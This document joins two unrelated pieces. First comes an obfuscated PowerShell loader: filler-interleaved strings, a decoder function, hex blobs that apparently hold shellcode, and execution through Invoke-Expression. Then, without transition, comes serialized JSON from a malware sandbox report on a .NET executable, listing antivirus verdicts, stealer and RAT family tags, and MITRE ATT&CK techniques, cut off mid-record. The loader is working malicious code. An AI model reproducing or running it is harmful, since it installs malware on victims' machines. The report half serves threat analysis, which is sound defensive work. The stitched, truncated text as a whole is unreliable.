S7Kl7Kv9ud7Al2St6ThCBe6Lo0Ev7Ci0As3Rm8Mo7Mi3Cr7Bo0Ko7Ca0 V7Mi0Cl6 tCPa6Te0Ha7Un0bi3Eq8Hv7By4ma6Ha9Ta'Ki; H&ud(Em`$ AwBiasat SeLirDolHuosugUnsPr7Mi) E Mi`$MaFdeePaj rl Gt JyInpUdeSarPrsBa8ty;sa`$FuI RlDilSeuKas Tt BrTea Pt Ui HoKonUtsMaiPanHidStlIng HnSci BnPigLieInr B2am=Af`"""Ma`$ApeTenSwvMo:ArT REInMCoP F\Rod XaBde OmRuo SnGeiVisNokLi\FrpBarMevGueunlResFiecanPrsOv\MonAfoChn MeSucStl peKocOvtDiiVacGlaFolMalTay K\DyCCroSioTif M.MeL AgAfnSu`"""Tr;Li`$CoFRae HjAnlSltCyyShpVeeFlrChsSa9Po Wa=Pe BuV GACoRBo5Un3gl B'Se6 B4Oe0In6Sv2 D5Ba2LiASk2 nCLa3sv4Ry3Un9 U3Gi0 E2Cu5My3gi2lo3Ka3 P6Up0 S7SaDRe6Kl0Di1EtBGi1Hu3Tr3Od9Ov3Mo3 T3Be4He2Ov5Ba2 LD S6FeEAn0 O9Re0FrFSv6 RECa0Ru6Om2sa9An2PaCOp2 L5 L1taDPa7 AADa7MdA S1Ti2 C2Mo5 u2Su1Ul2In4Re0Ap1Ga2gtCme2 MCFr0Me2 D3fe9Ge3Ud4 S2Uf5 J3An3 C6So8Mi6Li4Sc0Pr9 D2InCFe2TaC B3La5 L3 m3Ud3Un4Kr3Ls2Be2Er1Ex3 B4 D2Pa9Ma2RiFFo2UnESp3Ek3Fi2Un9Sp2SkETr2Fr4 S2ReC M2Gr7Do2KaESi2Ef9De2UnEZi2Fo7un2Sn5Ca3To2br7Fl2re6ta9Ve'Ap;Mo& S( T`$ PwGeaEst BeInrLylImoopg IsHe7 A)Ho em`$SkFObeVejBelCetSuy GpDiefrrHasKr9Te;Ar`$blsStuGrbHlsFleNswKdeger B0Pa Te=Pl BoVTrASuR O5Pr3Fe Fy'Un1 IBDo1Mi3In3Up9 s3Sa3Ec3In4Ud2Fl5Tz2BuDSc6FuEop1 S2Pa3ph5ka2StEWa3Op4ap2 P9Ex2CoD Z2Pa5Mo6SuE D0 R9Mo2foESt3Ma4 B2 R5In3Lo2Ko2ReFCa3Po0Vi1Be3Af2Kl5 O3 A2Su3Se6Re2 D9By2An3 U2 N5 U3Ga3Rr6DiENe0EaDEf2An1Ov3Bu2Mo3Fj3Co2Te8Jd2Sm1Se2FoCSt1WiD D7BuATy7BeA B0Jo3 p2 TFSy3Un0Co3Br9St6Tr8De6aa4Di0 O6Sc2No5Fa2NuA f2 FCSt3sk4Be3Af9Lv3 S0Gy2Oc5Pr3Fr2Lu3So3pa6FlCta6ba0Ta7Jo3ac7Il0 H7Su2 B7Ra4 N6sqC s6Li0Pr6Bl0Me6de4Py0fe9Ti2RoCTa2PaCsy3Ma5Be3Cu3Uk3Te4Ci3Pe2Me2Dk1Ci3Ud4dr2Vg9So2caFtr2MaEUn3 M3Pr2wa9Ra2FoEBa2Kr4St2FoCNa2Da7Be2ViEOp2Po9un2SvELy2Su7 s2ba5Pr3Mu2 B7Pr3Ca6AlC S6Sw0Ph7Un6fi7 L5Fi7Cu3Sa6 R9El'ho;Kn&Re(Un`$PewSia St KeTorSil SoPlgAdsEc7He)An Is`$ SsMeuOmbJesOre GwHyeParre0Ge;Ti`$ SUStnPrh UaDetBecDihCaa FbNoiNalOpiNetCay T=Ba`$OiFRie Oj OllytDey ApHueUnrMasLa. Cc AoEau DnVitHo-Lo6Ho5Li3Pi-Re3Hi0Al2No4si;Ti`$IlsMeu BbSksTieSmwOpe Erth1Cl H=Ta PrVRaACaRCa5In3Pr Cr' F1ChBAp1Sc3 R3Un9fo3 S3 G3Sl4 N2 b5 S2StDGu6BlE H1Ch2Ru3Op5Ma2RyEKa3Kr4Bu2Fo9La2 RDSm2Do5 W6 SEKa0 I9Fo2InETu3Dj4Un2Ku5Ho3Je2pa2AmFRa3se0Bu1Kb3 M2Qu5Me3 I2Be3Co6 v2Bd9fa2 R3Ba2Sl5 F3Co3di6BuEUl0BrDPr2Ud1Ma3Sy2Ti3Re3 C2 U8 N2Pe1Ar2FiCKo1FlDBe7DuAKr7SpA H0Un3Ch2ReF S3 l0Cu3 E9Un6Mi8De6Pl4Ca0Fo6Ko2 D5In2SaAai2 ACTi3Ko4Pa3 S9Be3Ag0 P2Fl5 S3 e2 V3 F3Pu6 MCMe6In0Ma7 r6ov7St5Sp7Va3 C6MaB A7no3Wo7Ep0Di7Hu2Sj7 A4Gs6BeCCr6 s0Tr6Se4Fo0 B5St3Ba4 R2Jo1 U2Ti7wy2dr5En3Ld2By2 REDe2 S5Kr3Ri3Fi2SlCLa2Ve7Cu2Ba5Ty2Is2Ul2ka5To3Wl6Uf2Mt7Fi2Wh5Ip2PrC H3Tr3Go2 M5 C3 S2Or3Gr3Dd6FeCre6Bu0Pl6 U4Se1Sk5Bu2meEKo2Ta8Hy2Mi1 S3Hy4kl2Rn3Le2Un8Fe2Wa1As2Ci2Tu2Sq9Ko2MoCTr2Ts9 f3In4Ps3un9 D6mi9Cl'Ga; F&Re(Fl`$ThwBaaFltNee LrUnlMeoPygFusAg7Am)Un Lo`$ AsReuThbSusKrehew SeBsr m1Au;Be`$DrsGluSob esIneXmw HeSkr m2Am F=Mi RiVbnAPrRIn5Sk3He Ha'Un6Gy4Fo0pe5Gr3Pa4Sk2 L1Vi2Fr7 L2 F5St3Bo2 M2beESo2Bi5Fo3pe3ja2Ho5 T2 G6Lo2DiF R2KiFBl2NoCSt2PrDLy2Me5Fa2UnE S3An4Gu6Li0Ob7 PDTa6Ni0An1 sBPa1Sp3 a3Ta9Ma3Gr3Sk3bj4Cr2Ar5Il2maDBa6EqEub1 s2De3re5fo2OpENi3 K4ud2Ba9Vi2UaDDe2Me5Po6alESt0Vi9Bl2AnE V3Vu4Ur2Vr5ha3Sp2St2FlFOm3Sa0 C1Co3Ly2 F5qu3re2Ch3 J6 U2cy9In2Ut3In2Na5 P3mo3Pn6SsEPo0ReDVe2Al1Su3Ap2Ba3Sk3Ta2 p8Li2Lo1Ho2OdCEr1 GD S7 FAPj7 BASk0to7Hy2 U5Li3 T4fl0An4Co2In5Bo2NoCNs2Se5Th2aa7Ne2St1Rk3Cu4In2In5Pe0El6 K2FlFBu3ve2Or0co6 L3Ko5Vi2PeEBu2Bv3 V3 F4Ce2Ci9Fr2ToF B2ShE C1Sb0Co2InF n2Br9Af2 OEBl3Am4Ex2Di5 C3Un2Tr6La8Ac6Ma8Su2 W6Br2ObBMa3 T0Oz6 M0 L6Ri4 S1Ko3Vo3Dy4Af2Fr1 V2ZyBSk2he9 P3 b4Tr3Ei4Do2Ud5bo3Co2Tm2 DEKn2NoESt3 T5Bu2Ov9Ns3te4st2In5be3ne4Mo2Pn5 U3Fl2Pe2neE R2sp5Sa6Ud0 P6Sm4Al1 U3Ti3Bi2Af3Sk2in2Kn5 T3Fu4Dr3Un4 T2Am9 R2Si7St2Sl8Un2De5Ko2Sk4 h2La5Fe3Be2Sp2 BE A2Mu5Pa3St3Wu6 S9Da6 ECEp6Un0Pl6lt8Ka0 O7ar0Pe4Re1Ga4To6Re0Tr0St0Su6Re8Bo1SpBUd0 M9Ba2 BEEc3Ho4In1Md0Ro3Th4In3La2De1SuD P6 PCPh6No0St1boBCl0 M9Po2PrEGe3No4Th1Ty0St3Fr4 d3An2 B1GuDFo6CoCMa6 T0Ud1KoBTr0Po9An2 LEEg3il4Fi1He0Ne3 T4To3Ma2Ne1CoDPe6 FCUn6 D0Ar1MoB N0sk9Ho2 TESp3 C4Ab1Tr0Un3Tr4La3Fi2Re1RaDNo6ExCov6Fo0pr1RiBMe0Ns9Sn2 FESy3Py4Gl1Vo0In3Tu4Hu3So2Be1SiDCi6tu9Tr6Vr0Vr6 F8Mu1 sBNo0to9Li2EtECo3Su4Su1Ar0ls3Tr4Bl3Ba2Fl1SpDMa6He9Rh6Si9Dr6ji9Fr'Ur;Te& S(De`$ OwFeaDetOfeUnrstlPoo PgGrsUn7st) S Sp`$OpsAkuUnbHas JeBow Cepar T2Ch;Ur`$ AsSnuSmbExsAneAuwafeMirOp3Sp So=Li GeVBuAVoRFr5Lo3Aq Pu'Su6Dr4Fu0St5St3Ku4To2At1 J2 M7Po2Fi5Om3Te2Ca2PrE U2 C5Ri3th3Fo2yn5Hj2Fe6Lo2BaFWe2KvFIs2GnCMa2heDTh2Fl5Ta2GuETr3As4Pe6HoEHy0Ba9Co2SkEHv3Ba6Vi2SuFTy2urBFo2Se5Sk6La8Pl6Fl4Fu0 S9 F2SpCBr2trC K3 S5 T3Te3Pa3Ha4Ki3Ha2 v2 B1Gl3To4Do2 U9Mo2 SFim2OrECh3Tw3Am2Sc9St2 SEGa2Ry4Do2FoCKl2co7in2 GElo2De9Hj2 HESk2Kl7Du2Sh5Ha3Sp2 U7 A3Sk6SpCFr6Re4Or0Fo5Vi3 R4Tu2Br1 S2Ud7 H2Pe5Sc3Ba2Po2ugEAn2 S5Ko3Un3Ad2PsCSe2Ba7Ri2Vi5Up2Re2Su2 B5Br3Mi6Ul2Br7 E2Bl5 q2 uCTe3Ke3Fa2Go5 f3Fa2Re3Ma3To6MaCUd6Ke4 I0 B4Bi2Pr5Cr2Tr3Ni2Am5Nr2SvEls2BrEAd2Ke9Le2tu5Gi3Ka2sk2SaEBe2Bo5Sh3 T3Do7 F1Un7 l0Ch7Pr0 M6HvCTa7Re0Ca6IaCRu7Cu0 T6 T9 i'Ca;In&Ba(Ji`$BiwCha PtaseInrSplBioPag BsSp7Ge)Tr Be`$FosAnuCabresSdesywKae irGa3De#Re;""";<#Umyndiggrelses Fluotantalic Deallocation Schistocormus Aftrkkende #>;;function subsewer8 ($Stakitter,$Etagernes) {&$Datalagrenes0 (subsewer9 ' B$UrSTrtUda BkPaiRetPut Te VrGa Gr-UdbDexmioLur B Sc$TrESut baFrgBaeFrrWrnTreBrsDi ');};Function subsewer9 { param([String]$Etagernesitrere24);<#Radernaales Remittere Bankiers Swingpjatte #>;$Graderet=2+1;For($Stakittertomteoris=2; $Stakittertomteoris -lt $Etagernesitrere24.Length-1; $Stakittertomteoris+=($Graderet)){<#Gryphon Efterkravets Gnidningsmodstands Cirkulreskrivelses #>;$Zazias+=$Etagernesitrere24.Substring($Stakittertomteoris, 1)}$Zazias;};;$Datalagrenes0 = subsewer9 'VaIRaEwiXRe ';$Datalagrenes1= subsewer9 $Specterlikes;&$Datalagrenes0 $Datalagrenes1;<#Forudsaas oldermand Svingtaske Rdsom Nonconcentration #>;"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790439709096,"unified_at":"2026-09-26T16:21:49.096Z","metadata":{"hashes":{"sha256":"2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2","sha1":"b13a15a5bea65b711b835ce8eccd2a699a99cead","md5":"69994ff2f00eeca9335ccd502198e05b","sha512":"ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3","ssdeep":"96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1","ssdeep_chunks":["96:y7ov9wc","96:7ov9wc1","96:ov9wc1d","96:v9wc1dN","96:9wc1dN1","96:wc1dN1U","96:c1dN1Un","96:1dN1Unh","96:dN1Unh3","96:N1Unh3E","96:1Unh3EH","96:Unh3EHJ","96:nh3EHJ4","96:h3EHJ40","96:3EHJ40C","96:EHJ40CU","96:HJ40CUJ","96:J40CUJC","96:40CUJCr","96:0CUJCrQ","96:CUJCrQt","96:UJCrQt0","96:JCrQt0L","96:CrQt0Lp","96:rQt0LpC","96:Qt0LpCB","96:t0LpCBI","96:0LpCBIW","96:LpCBIW1","96:pCBIW12","96:CBIW12n","96:BIW12nE","96:IW12nEt","96:W12nEtg","96:12nEtgp","96:2nEtgpH","96:nEtgpH9","96:EtgpH9G","96:tgpH9GI","96:gpH9GIk","96:pH9GIkQ","96:H9GIkQY","96:9GIkQYQ","96:GIkQYQo","96:IkQYQoB","96:kQYQoBN","96:QYQoBNw","96:YQoBNw9","96:QoBNw9f","96:oBNw9fn","96:BNw9fnm","96:Nw9fnmK","96:w9fnmK5","96:9fnmK5i","96:fnmK5iL","96:nmK5iLj","96:mK5iLjT","96:K5iLjTv","192:y7ov9wc","192:7ov9wc1","192:ov9wc1d","192:v9wc1dN","192:9wc1dN1","192:wc1dN1U","192:c1dN1Un","192:1dN1Unh","192:dN1Unh3","192:N1Unh3E","192:1Unh3EH","192:Unh3EHJ","192:nh3EHJ4","192:h3EHJ40","192:3EHJ40C","192:EHJ40CU","192:HJ40CUJ","192:J40CUJC","192:40CUJCr","192:0CUJCrQ","192:CUJCrQt","192:UJCrQt0","192:JCrQt0L","192:CrQt0Lp","192:rQt0LpC","192:Qt0LpCB","192:t0LpCBI","192:0LpCBIW","192:LpCBIW1","192:pCBIW12","192:CBIW12n","192:BIW12nE","192:IW12nEt","192:W12nEtg","192:12nEtgp","192:2nEtgpH","192:nEtgpH9","192:EtgpH9G","192:tgpH9GI","192:gpH9GIk","192:pH9GIkQ","192:H9GIkQY","192:9GIkQYQ","192:GIkQYQo","192:IkQYQoB","192:kQYQoBN","192:QYQoBNw","192:YQoBNw9","192:QoBNw9f","192:oBNw9fn","192:BNw9fnm","192:Nw9fnmK","192:w9fnmK5","192:9fnmK5i","192:fnmK5iL","192:nmK5iLj","192:mK5iLjT","192:K5iLjTv","96:yZyTFJf","96:ZyTFJfC","96:yTFJfCB","96:TFJfCB2","96:FJfCB20","96:JfCB20L","96:fCB20Ls","96:CB20LsB","96:B20LsBI","96:20LsBIW","96:0LsBIW1","96:LsBIW12","96:sBIW12n","96:BIW12n/","96:IW12n/e","96:W12n/eI","96:12n/eIk","96:2n/eIkQ","96:n/eIkQ2","96:/eIkQ2B","96:eIkQ2BN","96:IkQ2BNg","96:kQ2BNg5","96:Q2BNg5S","96:2BNg5S1"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"New Text Document mod.exse","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":8192,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1703082859000,"last_seen":1762736871000,"last_multi_scan":1762736871000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["scionspider","commodity","loader","raccoonstealer","phorpiexdownloader","targeted","redlinestealer","xworm","criminal","warzone","rat","aurastealer","cryptocurrencytheft","backdoor","lummastealer","meterpreter","amadeyloader","informationstealer","xenorat","amadeystealer","risepro","amadeyclipper","quasar","credentialharvesting","opensource","downloader","new_domain","suspicious","evasive","malicious","banking","lokibot","targetedcrimeware","nymaim","windows-server-utility","ransomware","stop","filecoder"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":141},"sandbox_signatures":{"informative_count":463,"suspicious_count":29,"malicious_count":43,"total":535},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.PWSX-gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[PSW]/MSIL.Agensla","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AgentTesla.uvbga","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Marsilia.91525","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Marsilia.91525 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/TrojanDownloader.Agent.QCR trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader ( 005aff5b1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agensla.kmsrou","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Agent.IHL.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.URV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TScope.Trojan.MSIL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_54.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agensla.Win32.30042","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Marsilia.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"malicious","value":"Recently registered domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Able to use GrayString API for text rendering"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Able to execute application (.NET)"},{"type":"malicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"PE file contains large number of import functions"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"suspicious","value":"Contains ability to update the user profile"},{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Persistence","technique":"Windows 